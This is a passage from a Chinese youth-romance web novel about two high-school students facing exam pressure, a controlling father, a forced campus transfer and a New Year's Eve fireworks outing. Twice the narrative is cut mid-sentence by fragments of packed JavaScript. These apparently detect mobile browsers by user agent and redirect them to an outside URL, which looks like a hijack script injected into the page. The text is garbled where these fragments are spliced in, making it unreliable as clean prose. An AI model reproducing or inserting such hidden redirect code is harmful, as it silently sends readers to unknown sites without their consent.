“这是你的事情,为什么在意我的感受呢,我除了告诉你‘下次注意’或者刨根问底,对你自己的成长作用是极其有限的,你得先过了自己的关。”陈建材叹了口气——执教二三十年,这样的小孩他见得也够多,姜岁安自是不算特别地特别。 又一阵冷风从室外灌进来,风的主人是方知言。 他站在姜岁安身边,对着陈建材说:“老师,有个问题想请教你一下。” 陈建材扶了扶眼镜:“咋追到这里来。唉——来就来了吧,去,拿我的卡去刷个鸡腿吃。” 方知言接过陈建材的卡,姜岁安收起碗筷,与他,擦身而过。 方知言眉目宛转,视线轻轻跟着她,直到她的背影彻底消失在这一方小小的天地。 除走读学生外,汐城一中的学生是禁止带手机入校的,而且走读学生的手机在进入班级的那一刻,就要自动上交到班级监控底下的收纳箱里。 住宿的学生一般会办电话卡,平常联系家人时就使用学校的挂壁式电话机。 此时距离期末还有十五天。 姜岁安失眠了——因为一篇没写完的作文。 她又忽然想到了方知言的神色,意识到自己在他面前屡屡失态,气不打一处来。 暮色沉沉,宿舍外老榕树上的知了闷闷地叫着。 她动作轻轻地从上铺爬起来,下床梯的时候还是不免让床发出了“嘎吱嘎吱”的响,惹来了被窝发亮的何佳的一声不满。 她没有在意,拿上电话卡穿好拖鞋就出了房间。 何佳不说什么,只是呆呆从被窝里探出一个头,也下了床,悄悄地跟在姜岁安身后。 “喂,姜女士……”姜岁安没忍住,哽咽一声后低声啜泣,怕吵到还在睡觉的同学,她压低的声音因为喉咙酸涩而模糊不清。 “妈,我真的……我不知道自己为什么会这样,我压力太大了,笔都拿不稳,脑子里也很乱……我没有写完作文,我感觉完蛋了……” 何佳没有继续听下去,不知是悲是喜。 半喜半悲吧。 喜是发现了姜岁安胆怯的一面,悲是因为她至少还能和自己的父母倾诉。她悄声回了宿舍,放了一包纸巾在姜岁安床上。 那一次姜岁安考得很差,可她却很庆幸这场失控发生在期末和高考之前。 此刻她最想的,是家。 无数人究其一生,只做别人需要的事情。 无数人究其一生,只做自己想做的事情。 姜岁安总觉得自己的家庭幸福美满,可她很难面对面向爸爸妈妈表达出爱。她写过很多东西,也喜欢写东西,可总在规避“家是温柔的避风港”这句话,觉得煽情。 她表面阳光开朗,内心却对一切事物设防,这是她自己都不曾意识到的事情。 期末联考前的那个周末,学校很仁慈地给学生放了假,她也如愿又回了家。 推开那扇门,询问是爸爸妈妈的那句——“等你吃饭。” 他们好像从不在意姜岁安掉了多少名次,而是掉了多少斤肉,掉了多少根头发。 姜岁安想:或许哪一天再听到这四个字,不会泪流满面吧。 他们总会说“等你吃饭”,就好像太阳,照常升起。 姜岁安在家的第二天傍晚,刚洗完澡,头发半干,灶台上牛先生和姜女士在研究新菜谱,她刚想凑个脑袋去看看,就突然收到方知言的消息。 她先是开窗,后垂眸,扫视了底下一周,方知言仰着头朝她笑。他左手拿了东西,右手将食指放在唇上,示意她噤声。 姜岁安心头一颤,着急忙慌地拿了件外套裹在身上,趁着爸爸妈妈在厨房做饭的功夫下了楼。 她不知道方知言是怎么找到这里来的,也不知道他来此的目的。 毕竟考试在即,大家压力都大,学校半个月才放一次假,她也不愿意再占用方知言的时间让他为自己补课。 这么说来,姜岁安觉得方知言可是一个再无私不过的人。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276481|198269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她问他怎么突然想到来找自己。 方知言支支吾吾没道出个所以然,只好把陈建材供出来,补了句:“见你最近情绪不大好,应该是遇到了什么事。不过你想不想跟我说是你自己的事,我不强求。” 多质朴的、真诚的、半真半假的理由。 她说:“你倒不如直说是想我了。” “我们一周五天,出个门就能见面,没什么想不想的。” 方知言嘴角上扬,这几日太阳很大,冬风和煦,傍晚的风吹在他身上,吹乱衣襟,更将姜岁安洗发液的味道吹进他心里。 这是再奇怪不过的感觉,他们是同学,可同学能随便见人生活的姿态吗?他没敢继续想,把准备好的礼物提了起来。 “我向我们家阿姨学着做的,有点丑,你别介意。”方知言真诚地看着她的眼睛,语气倒不显得拘谨,只是脸上挂了两坨明晃晃的红,让他的矜持装不下害羞的馅儿。 姜岁安透过那小小的透明礼盒看见了里面的东西——一只小小的、模样古怪的小狗蛋糕。 方知言这种公子哥,应该是切个土豆都能让自己身负重伤的人,这点姜岁安十分明白,因而她不会嘲笑他挤不均匀的奶油和切不好看的面包胚。 她觉得,方知言这人十分有趣。 姜岁安说:“谢谢你呀,我真的很喜欢。不过,我也不知道你要来,没准备什么礼物,要不等下留在这儿吃个晚饭再走?” 方知言思索一阵,拒绝了。 姜岁安当然知道他会拒绝,但想与他再多说几句,于是乎,她将注意力再放回那只眼睛一颗大一颗小的小狗蛋糕上。 她闲着的手撩了撩头发,眉毛轻挑,问:“你为什么会觉得我像只金毛呢?” 方知言可没与她讲过这层意思,没想到姜岁安口直心快,将他这层赤裸裸的隐喻昭然若揭。他没法逃,只能说:“觉得你,像一只小金毛,活泼明媚、一往无前……所以,别太慌张。” 姜岁安拿着蛋糕的手不灵活地作着揖,还没来得及细想他的意思,只能先说:“虽然你说了跟没说一样,但是谬赞谬赞。” 两人相视而笑。 所以,没什么事情是亲人和朋友解决不了的吧,姜岁安想。 剩下的时间里,大家都在干着自己的事。 无论是擦肩而过,还是无意相望,也只不过一场浅笑。 姜岁安在大哭一场之后,安安稳稳渡过了高三上的期末。 这次期末考,她没有超常发挥,也没有发挥失常,刚好第十五名,没有小数,总分以“0”结尾,算是完完满满的一次考试。 值得一提的是,陈建材比自己少考了一分,出分的那天,她还耀武扬威地跑去陈建材办公室提醒他红包的事情。 陈建材瞧她那副嘚瑟的模样,说她本性难移。 方知言的名字稳稳落在第二名的位置上,姜岁安在收拾行李回家的路上遇到了他,他手上没有行李,只有几本书。 跟在他身后的,是一位毕恭毕敬的中年男人,男人手里拉了一个小箱子。 她打趣道:“厉害啊方知言,全汐城就你和静雯两个人文科上六百八,我要是有你这成绩,压岁钱都不知道翻了多少番了。” 方知言的笑容僵住,尴尬地咳了一声。 他眼底那一瞬的失落闪过,被姜岁安捕捉到,她心下一滞,在他明眸之中,仓皇失措:“我……” 他说:“岁安,再见。” 姜岁安突然意识到自己说错了话。 因为方知言是第二,夏静雯是第一。 11. 她自雨疏风骤来(五) 鲁叔把方知言接回别墅时,已是傍晚了,暮色把别墅上空染成橘黄的茶汤,好似方父最爱的青柑普洱。 他让保姆把他在学校住宿用的床上用品拿去清洗后,就在屋里屋外溜达了一圈,没发现父亲的影子,但却在后花园看到了正在修剪花花草草的母亲。 他竟舒了一口气。 晚上吃饭的时候,圆桌上添了姐姐和父亲的身影。 这是在方知语上大学、方知言上高三之后家里难得一见的团聚。 方父突然开口:“特意让阿姨煲的莲子羹,败火的。别看汐城现在是冬天,叫人冒火的事情可不少。” 方知言往嘴里送葱烧海参的筷子顿了顿。 方母和方知语面面相觑,不知道他具体指的到底是什么事,但她们知道,方父最近被收购和竞标的事情弄得极其头痛——而他最有力的竞争者,就是一直以来压方氏集团一头的程氏集团。 方父从面前的青瓷小盅里舀了一勺莲子羹,甘苦下肚后回味清甜,他神色忧郁又带些阴戾地对方知言说:“知言,这次是不是没发挥好啊,我看你跟第一名的同学差了四分啊……你最近松懈了?这不行的啊,考不到第一的话你怎么有竞争的资本呢?” 方知言想说自己已经尽力了,可他心知自己父亲对于“尽力”的标准是“第一的成绩”,于是惺惺地闭嘴了。 他其实知道以自己现在的成绩和户籍上S大是很轻松的,但他也知道父亲只是想在高考结束后的新闻发布会上长脸。 第二不够有面,第一才有噱头。 想起姐姐因为高考是全省理科第二名还被数落“女孩还是不行”,一股无名的恼火又烧到他心里:“第一名的同学将来要报警校的,我考第二也没什么关系。” 那莲子的苦在方父的胃里放大了方知言一句顶撞所产生的烧心的感觉,本就不如意的他筷子一拍,厉声道:“什么意思?你万年老二你给我长好大的脸是吧?考警校的人家都能学那么好,那我从小在你身上花的钱和心血算什么?” 方知言嘴角溢出一抹无奈的笑,低头继续拆解着本就没什么刺的鳕鱼来缓解自己的恐惧。他开口,伴随着叉子在盘中来回划动的噪音,语气里充斥着难言的苦涩和质疑:“你对我们的爱来源于对‘投资’的期待吗?我们在你眼里,难道是只能涨不能跌的股票吗?” 方知语在桌子底下扯了扯方知言的衣角,随即说:“爸消消气,他自己也很难受,说的都是气话,”方知语朝自己那个犟驴脾气改不了的弟弟使了个眼色,“对吧知言?” “我怎么生了你这种白眼狼,老子跟你妈我们这些年为你付出了多少!如果这都不是爱的话,那什么是? “我所做的一切,都是在为你的未来考虑,为你这个不成熟还自我感觉良好的小孩铺路! “方知言你自己说说,你清楚你自己拥有的一切是谁给你的吗?你能不能有你姐一半懂事……咳咳……” 方母伸手在方父的背上轻轻抚摸,想顺下他的火气,一个眼神企图喝止还欲说话的方知言。 方知言第一次无视了父母的要求:“我只知道,您从未给过我们尊重和自由。” 方父冷哼一声,狠戾的精光藏在眼角的皱纹之中,心脏痛得沉重。 他平复好心情,心里觉得方知言幼稚又自大。他不怎么失控的表情此时也恢复了平静,冷冷地说:“你什么时候足够强大了,才会获得你所说的尊重和自由。尊重和自由是靠拼来的,不是靠任何关系施舍给你的。 “还有,我现在郑重通知你,为了让你安安心心学习,我已经跟校长打好招呼了,下学期你直接去你们学校的新校区,手续什么的我会托人办好。那边重点班的师资力量不比总部差的,你老老实实的别有什么乱七八糟的想法了…… “别以为我不知道你现在在学校都把心思花在哪里了。” 方知言很疑惑,什么叫“他在学校都把心思花在哪儿了”,他对父亲的控诉感到十分不解,以至于脑子里自动短暂过滤了“下学期要搬去新校区”的讯息。 方父见他没有说话,更想跟他较劲了,丝毫不管方母掐了一把他的手臂示意他“不要再说”。 他恨铁不成钢地说:“你学什么不好,学人家谈朋友?方知言,你胆子忒大了啊现在。嗯?愣着不说话干什么,啊,我问你,你没事把女孩子笔迹的作文藏柜里干嘛?那个女孩子就是你经常跟你在书店里碰面的那个吧。” 他有气无处发泄,想来又是鲁叔通风报信,简直无语,又只觉得自己的指控正确无比——“您从未给过我们尊重和自由”。 方知言没有说话,囫囵吞下最后一口鱼肉就走出了客厅,上楼回到自己房间。 方知语见状,无奈瞄了瞄父亲,眸色一沉,快步跟上了方知言。 方母望着方知语和方知言一大一小的两个背影都淡出了视线,责怪道:“把孩子逼成这样干嘛?” 方父又舀了一大勺莲子羹到专门喝汤的瓷盅里,说:“小时候还说把他脾性练乖了,没想到还是犟驴一头……我不信我管不了他了还!” “你呀,就是管太严,物极必反了。” “老婆啊,您又不是不知道,我们家里,哪一个不是这样过来的。富贾不以严教后世便只顾享乐,成不了器的。古之成大事者,必先苦其心智,劳其筋骨,”方父苦恼地挠挠头,给自己说恼了,连咳几声后大脑有些缺氧,道,“真是事事不顺。” “梁姨,撤下吧,我们不吃了。”方母的蕊紫绸缎连衣裙袖子一挥,招来保姆,没成想被方父打断。 他说:“梁姨啊,莲子羹留下吧,败火。” 方知语趴在方知言反锁住的门前。 “知言,我们聊聊?” …… 方知言将父亲口中“女孩子笔迹的作文”拿给了方知语看,解释自己是抱着“虚心学习”的态度才这样的。 方知语一眼识破他半真半假的话,小心翼翼地问他是不是对姜岁安有心动的感觉,只见自己弟弟点点头又摇摇头,回应道:“我不清楚什么是喜欢,我只知道,我很欣赏她,她勇敢、自由、明媚又带点理性文艺……其实还蛮羡慕的。” “青春期有点悸动很正常,但你别把自己陷进去就行。” 方知言说:“我没有,姐,你误会了。” “你从小不会说谎,所以我信任你,但在爸面前,做做样子就能避免很多麻烦,你也别太有脾气。” 方知语大概懂了,没继续深究,便跟方知言吐槽起了大学生活的种种——小组作业、班级会议、保研内幕…… 但她最后嘱咐了方知言一句:“知言,在考大学这个问题上,我与爸是站在同一战线上的。他确实不对,但你……也别恨他。” “我不恨他,只是想逃离他。既然事情已经发生了,再去迁怒自己或者他人都没有意义,我在想,该用什么样的方式去告别。” “你说跟那个女孩?” “不止。” 他的内心燃起了一朵冷冷的雨夜里开了一半的花,可那雪的季节提前来了,催花落下。 他们的第一次正式相识是在雨刻时分,那时雨落得稀疏可风却很大。 所以,那人自雨疏风骤来。 “她叫什么名字?” “谁?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276482|198269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“她。” “哪个他。” 方知语笑出了声:“女也她。” “姜岁安。” “怎么认识的?” “她自雨疏风骤来。” “少在这里卖弄。” “姐,你别逼我了。” 经此一吵,方知言和方父的关系冷至冰点,哪怕除夕的红艳喜庆将至,寒冬也依旧笼罩着别墅。 方家的年味其实并不算浓,对方知言来讲,就是将许久未见的亲人们聚在一个豪华的酒店里,向竞争对手们展示自己的家庭和睦,吃喝玩乐后又各奔东西,与任何节日的固定仪式别无两样。 更何况,父亲和母亲鲜少有充裕的时间逃离工作,他们大多时间都在忙中和通往忙的路上,难得一次的家庭小聚,还以不欢而散收场。 所以,他已经做好了拥有一个自由除夕的准备。 重逢书店闭馆休息的前一天,他刻意选择了二楼靠窗的位置,果不其然在书店里遇到了姜岁安。 姜岁安将背包放在方知言对面的椅子上,见他墨色的眼眸沉沉埋在眼皮之中毫无光泽,问道:“怎么一副闷闷不乐的样子?” 方知言神色诚恳地问:“姜岁安,你会害怕在遇到一个特别的人后,自己又不得不与之分别吗?” 姜岁安说:“我觉得吧,如果你们是很好的朋友,就算不在一个城市甚至不在一个国家,又有什么关系呢? “有个比较玄乎的说法,一次离别是新起点的开始,你不能逃避离开的事实,但你可以在新环境里维持它,这对一段关系来说是考验,但我觉得更是一种机会吧。 “啊——我什么时候也像你一样喜欢给人煲鸡汤了……话说你为什么会问这么伤感的问题?” 方知言闪烁其词地把最近发生的事告诉了姜岁安,但刻意隐瞒了一些话。 她说:“这太突然了。叔叔确实不应该先手决定你的选择,如果是我的话我肯定直接跟我爸闹了,你还能这么冷静地分析利弊,不愧是你方知言啊。 “不过我觉得,方知言你不论在哪里,都是闪闪发光的存在,什么‘第一名’‘第二名’……就算是‘第一百名’那又怎么了,能证明‘方知言不是方知言’的悖论吗?你做你自己就好,为什么非得成为别人心中的模样……” 姜岁安张牙舞爪地宣讲着自己的宏伟道理,期间喝了三次水,瓢了四次嘴,借了五次典,玩了六个谐音梗。 方知言脉脉无声地听着她对自己的开导,幻想中的不舍和遗憾没有被她激情的演讲消灭,反而更加汹涌地伴着视线流淌在她身上。 她应该去说脱口秀。 不对,该去讲相声。 或者……当一个辩手? 她身上好像分化出了好多人的影子,定睛后,姜岁安依旧是姜岁安。 “特别的人”似乎没有意识到自己是那“特别的人”,她说道:“不到半年时间而已嘛,只是不在一个校区而已,又不是再也不见了,想开点。” 方知言眉眼舒展,像寒冬走后留下的风轻云淡,他左手撑脸,歪头一笑,说:“谢谢你,对我来说特别的人。” 姜岁安只觉得空气凝滞在汐城的隆冬,原本跟着背景音乐律动的心跳被打乱节奏,如今“咚咚咚”地奏着欢快的曲调。 “对我来说,你们都是特别的人。”他补充。 姜岁安知晓他所说的“你们”。她心里的紧张褪去,可涌上来的不是期待的轻松,而是一团吸了眼泪的棉花,堵得人有些难受。 “你们对我来说,也都是特别的人。” 姜岁安把那道不明的情绪传染给了方知言。 12. 她自雨疏风骤来(六) 姜岁安那天晚上失眠了。 方知言要转校的事情像酒一样,虽然她没喝过酒,但用这样的比喻,是因为比喻义里,酒的后劲很大——初听无可奈何,甚至还能安慰他几句,可越是到了夜里,烦躁和悲伤就愈加旺盛。 她不曾遇到过什么特别的人,许是方知言太过耀眼,又在自己面前暴露平凡,于是她有些贪婪地想要汲取他对自己以朋友身份的认真对待。 或许这样的想法有点迷失自我,但至少她觉得自己有了这一重身份之后会更加特别。 她舍不得这种说不明白的感情,因为感性,也太明白自己最讨厌清晰的怀念。 姜岁安不曾经历过什么离别,所以小小的年纪在这件事情上谈不上豁达——虽然她知道他们还会相见,因为汐城就这么大点儿。 她出生前爷爷就去世了,而奶奶身体一直很好,外公外婆跟着舅舅舅妈在美国定居,父母也都还健康;没有青梅竹马但朋友不少,可都是阶段性的,没什么深交的人;爱情小说和电视剧看得多,自诩对男人的要求很高,对恋爱没有什么特别的幻想,所以也没有过一场像模像样的暗恋。 所以她真的没经历过什么离别。 可是她敏锐地发觉,自己在搅浑方知言这滩水。 他说话的时候不敢直视自己的眼睛,可木讷的时候却要夺走自己的视线。 所以这个夜里,她一直在想,船到桥头,会自然直吗? 会不会直,她不知道,但年来了,不为谁的期待而来,更不为谁的排斥而不来。 年到春头,会自然来。 蓝莓山药、红豆焦糖布丁、辣炒花蟹、清蒸鲈鱼、腊肉香肠拼盘、仔姜鸡煲、排骨藕汤、小炒青菜…… 如果你要问姜岁安如何拥有这一大桌年夜饭,她会回答——拥有一个厨师爸爸和糕点师妈妈! 不过餐饮行业除夕不放假似乎已经成为了行业的任务,毕竟许多家庭会选择在外面吃年夜饭。 父亲在自己的餐馆里与家里人小聚之后,就又忙着去后厨工作了。 姜岁安虽心里空落落的,但也已经习惯了。 母亲与好友们在家里搓着麻将,姜岁安便和奶奶窝在沙发上看春晚,一边看一边帮奶奶认明星,等待着李谷一《难忘今宵》开启新的一年。 “小虎队咋越老越年轻嘞?” “奶,这叫TFBOYS。” “咋这少人嘞?你屋子里头贴的不是这啊?” “奶,那是EXO,E不发音,而且那是表姐贴的,又不是我贴的。” 姜岁安打了个哈欠,想着看春晚不如看琼瑶和金庸。 摆在茶几上的手机突然亮了起来,她摸来手机一看,是方知言发来的短信——今天晚上有空吗? 她一下就从侧躺转成正襟危坐,只见屏幕那方的人解释道——我们家和其他几个叔叔的企业合资准备了一场烟花展,我想邀请你去愿海边上的长堤看。 姜岁安问:就我一个? 屏幕那头迟疑了一会儿,后来说:蒋翼铭和夏静雯回老家了,不在汐城。 她想了想,说:真的? 对方回:真的。 正感叹着春晚“一届不如一届”的姜岁安顿时来了兴趣,着急装扮了一下就跟喊着“胡了”的姜女士报备道:“姜女士,我要去愿海看烟花,你去吗?阿姨你们呢?” “烟花你们小孩子看的,我们才不去,不过安安你自己注意安全哦。来来来,给钱啊大家,别赖账,过了十二点,欠钱可就是欠了一年了啊。”姜女士正沉浸在赢钱的快乐之中,稍微嘱咐了下姜岁安,就继续投身牌局了。 姜岁安穿着一身白色的羊绒大衣,系着红色围巾,踱步在长堤。 “姜岁安。” 她寻声回眸,方知言不知何时已站在了自己身侧,身体将愿海在星光之下的闪烁遮了一半。 姜岁安告诉方知言,附近天文台屋顶是个绝佳的观赏位置。 她食指贴在唇上,故作神秘地说:“一般人不知道的。” 她拉起方知言的袖子往废弃的天文台走,在看到时间还剩十分钟后加快了脚步。两人用围巾包裹住脸,做着隔绝冷风的无用功。 洋溢着幸福与期待的年末之末,间隔有些长的路灯将两个狂奔的影子快速地抻长又揉合。 那天文台穿着掉皮的衣裳,就这样孤零零地矗立在短而杂的枯草之中。 小时候姜岁安就爱和朋友们在这里玩耍,白日捉迷藏,晚日数星星。 姜岁安在楼阁侧壁打开灯,两人的运动鞋“咚咚”地敲响木质的阶梯。 扒在栏杆旁,两个人都有些喘,方知言的加绒卫衣被弄皱,姜岁安的头发被吹乱。 她在心里默数,但却在最后一秒惊呼出了声:十、九、八……三、二、一! “咻——嘭!哗啦啦——” 零时零分零秒,时间正好。 一条条竖直飞升,一朵朵炸开,绽出绚丽的火花;一排排冲上黑夜,一束束流星上冲,轨迹伴随着硝烟停留片刻。 心跳的律动跟着烟花炸裂散开,消失在夜里。 人们连交换眼神的时间都没有,毕竟是昙花一现的事情——火焰转瞬即逝,掉入汐城半结成冰的海里。 长堤上和愿海沙滩上人头攒动,熙熙攘攘,热闹非凡。 “别看我了,看烟花。”姜岁安抬手,把他的脸别过去。方知言听不清楚,烟花声很大,只觉得姜岁安的手掌有些冰。 “你不看我,怎么知道我在看你。”他嗤笑。 “我知道的,”姜岁安勾起唇角,将余光献给方知言的面庞,她继续道,“很多人都会在海边的长堤上看,因为汐城冬季的海还别有一番韵味。但其实这个废旧天文台屋顶才是最佳观景地。这里虽然荒废了很久,但城区清洁大队还会定期打扫。” 他点点头。 “好看吗?”过了一会儿,姜岁安问。 “好看。”方知言额前的碎发被风掀起,发际线处有几颗不大明显的痘印。月色下长堤上人头攒动,闪光灯不断,热闹流于表面,快乐释放于内心。 他的声音在人潮的呼喊声和烟花的爆鸣声中显得空灵而缥缈,姜岁安一下子没听清。 “嗯?”她疑惑。 “烟花,好看。” 姜岁安的头微微抬起,面不动发丝却飘扬,眼珠像是装了花火的玻璃球——干净,好看。 那一夜他的呼吸将局域的风吹得暖。 “咕噜噜——”方知言的肚子不合时宜地响了起来。 这里有个除夕夜饿肚子的人。 方知言尴尬地解释:“晚饭的时候没什么胃口,酒店后厨还做了我不吃的芹菜,吃的比较少,所以……” 姜岁安觉得他越解释得详细,这话的真实性就越低。 她问:“方知言,你喜欢吃饺子吗?” 方知言眨巴着眼睛。 “咕嘟咕嘟的饺子。” “不是芹菜馅的,就行。” 姜岁安思来想去,还是决定问问:“你上次跟我说的事,我还是没太明白,好端端的,为什么要走?” 他说是因为想换换环境。 姜岁安嗤笑一声:“又骗?” 方知言没有说话,默认了她的猜忌,但还是稍加反驳。 姜岁安不知道他葫芦里卖的什么药,但既然他不愿意说,那自己也不应该强求什么,就佯装宽容:“好吧好吧,你不想说就算了,反正也不是什么大不了的事。” 方知言似乎一点也不相信她口中的“不在意”,纠正她:“也算是大事吧……你,为什么那么在意?” “不是跟你说过的嘛,我这人喜欢听真话。” “那要是真相很残酷呢?” “先知道,再去选择相不相信。你知道,人说话是为了什么吗?” “交换信息。” 姜岁安眨眨眼,说:“ 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姜岁安戴了头盔,面上的寒意少了些,但还是冷,方知言一路上低着头,可是姜岁安的身体却一点也遮不住风,于是还没等到去她家吃饺子,就吃了一肚子的风。 姜岁安就这样违规载着一个一米八出头的大小伙子一路左拐右拐,到了小区门口。 “上去坐坐?” “不了。” “你怕什么?我父母很开明的。” “不是这个意思。”方知言突然把脸别过去,不敢看她。 姜岁安屈指放在唇边,歪头懒洋洋问:“那是什么意思?” “太麻烦了。” “下面冷。”姜岁安扬了扬下巴,把他逼到角落里,伸手按在墙上,让他退无可退。 昏黄的灯光打在方知言白里透红的脸上,长长的睫毛投下阴影,和黑眼圈重叠,称得少年的眼眸深邃。 “我不怕冷。”可他却把围巾从脖子上捋到嘴唇。 “咕嘟咕嘟……” 他的肚子又叫了几声,姜岁安没忍住,笑出了声:“怕我干嘛,我要是妖精,也得去找唐僧肉,又不会吃了你。” “咕嘟咕嘟……” 白色的蒸汽罩着在水里漂晃的白鼓鼓玩意儿。 姜岁安在厨房里煮了两份水饺,一份自己的夜宵,一份方知言的晚餐。她鬼鬼祟祟地翻出了餐盒,在小格里滴了些醋,用保温袋装上饺子就下了楼。 方知言双手接过,唇角微颤。 “自己家包的,知道你不吃芹菜,特意煮了三鲜馅的,可好吃了。那些月牙形状的是我包的,元宝形状的是牛先生,也就是我爸包的。我用保温袋给你装了一份,回去趁热吃。还有,”她清了清嗓子,郑重道,“方知言,新年快乐!” 此时此地此刻,姜岁安的双眼型似月,明如玉。星絮、焰火与邻居炮仗炸出的薄烟在她耳后堆成光亮的雪,埋下了他的青春和悸动。 “姜岁安,新年快乐!” 他拿出了一封信,递给她。 她说:“这才是你约我出来的目的吧。” “算是吧。” “是就是,不是就不是。” “是的。” ——杳杳凝霜,如愿昭昭。 这是开头。 ——姜岁安,岁岁平安。 这是结尾。 文字越往后,间隔越密、体型越小。 姜岁安彻夜难眠,抱着电脑刷起了校园论坛。即使还没开学,方知言转去分校的事情也很快就在这里传开了。 论坛里很多同学都在评论,有祝福的,但更多是在讨论原因的。 方知言说,他其实很在意别人对自己的评价,那看到墙里盖起的一层层楼,他会怎么想呢? 姜岁安想。 13. 同情的分寸(一) 姜岁安认为同情是世界上最复杂的感情。 比爱情和友情复杂得多。 她认为愤怒的本质是同情,同情他人的愚蠢,也同情自己的幼稚。姜岁安理性地认为他人并非都愚蠢,感性地认为自己绝非幼稚,因而不愿把自己放在道德的高位上去泛滥一些情怀。 可是…… 姜岁安,你真的了解自己吗? | 搬到新校区的那一瞬间,方知言有些恍惚——这感觉莫名熟悉,就好像曾梦到过一般。 他现在的目标十分明确——S大法学系。 不因别的,只因S大与A大在同一座城市,而A大一定会有他想等的人。 他十分相信她能如愿,亦如她对自己的信任。 从羽绒服写到长袖校服,似乎是转瞬之间,这其中的喜悦也好、痛苦也罢,都被成绩和试卷牢牢锁住,再无其他。 方知言甚至有点想念那日看见“罗密欧”牵起“朱丽叶”手时,那种酸酸的感觉,可现在任谁也不能再让他如此悸动。 汐城的天气随着一天天的倒计时,已渐渐热了起来,可温度还是不允许人们短袖短裤地出门。 在分校的生活与从前并没有很多不同——不过是自己专注自己的事罢了。距离高考不过百来天,没什么人会在意一个突如其来的转校生。 真要说在意的,就是他几乎不可撼动的第一名位置。他与这里的同学们建立的联系也都简单,无非是讨论题目和传收作业。 方知言的笔正放在一道“极值点偏移”上,顺畅的书写和思路被班主任的通知打断:“同学们,宣布个事。下周周一学校组织百日誓师活动,我们会和锦绣校区一起去校外野炊,大家这个周末可以回去好好准备一下,临时练练厨艺。然后呢,我们校区的学生发言代表是我们班的方知言,大家掌声鼓励一下……好了,下周事下周说,现在继续自习吧。” 新班主任掐着表,在议论和掌声混杂的骚动持续了三十秒后,便提醒着大家安静。 方知言心里沉寂了好久的盒子被这番话吹开了,露出了满腹的粉白天竺葵,蝴蝶在血液中游荡。 那日傍晚,晚修时间未到,落日仿若浸了蜜的琉璃,融在空气中,甜甜的。他走在去运动场跑步放松的路上。 汐城一中公认的校花与校草从不是外貌出众的学生,而是象征着汐城的樱花与梧桐,这也成了两个校区都心照不宣的绿化设计。 梧桐在春日形似喇叭的白花与正盛的樱花在校园的小径上空争着一日将尽的阳光,这让方知言想到了女孩在自己面前的那两个傍晚——相约采访时的梧桐之下,自重逢书店一别的樱花之中。 他才发现,新老校区的花荫小道连曲折的弧度都严丝合缝。 他上了跑道。 他开始奔跑。 迎面的风送来了她的声音,脑海中回忆的蒙太奇断断续续。 恍惚间,有人说—— “方知言!好久不见!”姜岁安眼尖,余光一瞥,就在百千学生中指认出方知言。 两个校区这次野炊可以自由组队,午饭使用的食材需要通过摊位的游戏来获取。 蒋翼铭提议:“要不我们几个组队吧,刚好四个人一组。” 从小便受到父母厨艺熏陶的姜岁安表示,自己能够胜任主厨位置,于是在还没拿到任何食材之前,几人就将工作安排好了——夏静雯捡柴、蒋翼铭生火、方知言备菜、姜岁安掌勺。 四人朝琳琅满目的食材游戏摊位进发,走出一副千军万马的气势。 食材摊位分布在露营基地的各个角落,都是些常见的蔬菜和肉蛋奶,组好队的团队可以找在场馆内穿着志愿者服的工作人员拿摊位地图,选择自己需要的食材并前去游戏。 方知言不爱芹菜、蒋翼铭不喜香菜、夏静雯海鲜过敏、姜岁安不吃肥猪肉。 几人交换过忌口和口味偏好后,最终选定了三道菜——土豆烧鸡、蒜蓉娃娃菜和西红柿炒蛋。 按照食材的摊位分布,蒋翼铭为四人拟定了一个路线——“土豆和西红柿”、“娃娃菜”、“鸡肉和鸡蛋”、“小米椒和葱姜蒜”。 姜岁安这下才感觉到方知言作为标准的好好学生,在老师眼里的白月光威力。 他一路上遇到不少曾经教过他的老师,他们都十分关心他在分校的情况,于是,方知言同一个问题被问了不下三遍——“知言过去适不适应啊?成绩没受影响吧?”他脸上带着礼貌的微笑,十分官方地回复着统一的话术——“还好,成绩不错。” 到后边,姜岁安甚至能提前脑补出老师们会问的问题。 陈建材更是扮演着老父亲的角色,上来就给了方知言一个大大的拥抱,左一口“瘦了”,右一口“多吃点饭”。但这并没有吓到方知言,毕竟陈建材腰间钥匙串的声音自十几米外都能听见,他早就看见了他那臃肿而来的身影。 姜岁安无奈吐槽:“老师,你要把他压死了。” “谁说的,这些天我含辛茹苦分析试卷,瘦了很多好不好。”他拍了拍自己的肚子。 姜岁安和夏静雯低头给了他一个白眼。 姜岁安一把拉走方知言,朝陈建材道:“老师,你放过他吧,方知言现在可是我们的人。” 陈建材说:“行行行。” 她没注意到,方知言的脸像是年后熟透的柿子。 到达第一个摊位的时候,前边排队的人并不多,方知言瞟了一眼,只有两个小组。他示意三人看告示牌上的游戏规则,上边写着: 飞花令——出题者给出一个字或一个意象,答题者需在五秒钟说出含有该限定词的诗句。 对他们来说,难度不算大。几人按照姓氏首字母排序接龙,出题老师随便摸了一张牌,说他们抽到了“月”这个字。 方知言不慌不忙:“人有悲欢离合,月有阴晴圆缺,此事古难全。” 姜岁安庆幸,自己初中时便热衷于读辛弃疾的诗词,如今更是信手拈来:“可怜今夕月,向何处、去悠悠?” 蒋翼铭和夏静雯一人一句,四人顺利完成接龙,在摊位处登记领取了两个土豆和两个番茄。 姜岁安看到每个摊位旁都有一叠竹篮,走过去拿了一个,让扯着衣服兜起食材的蒋翼铭把它们放进去。 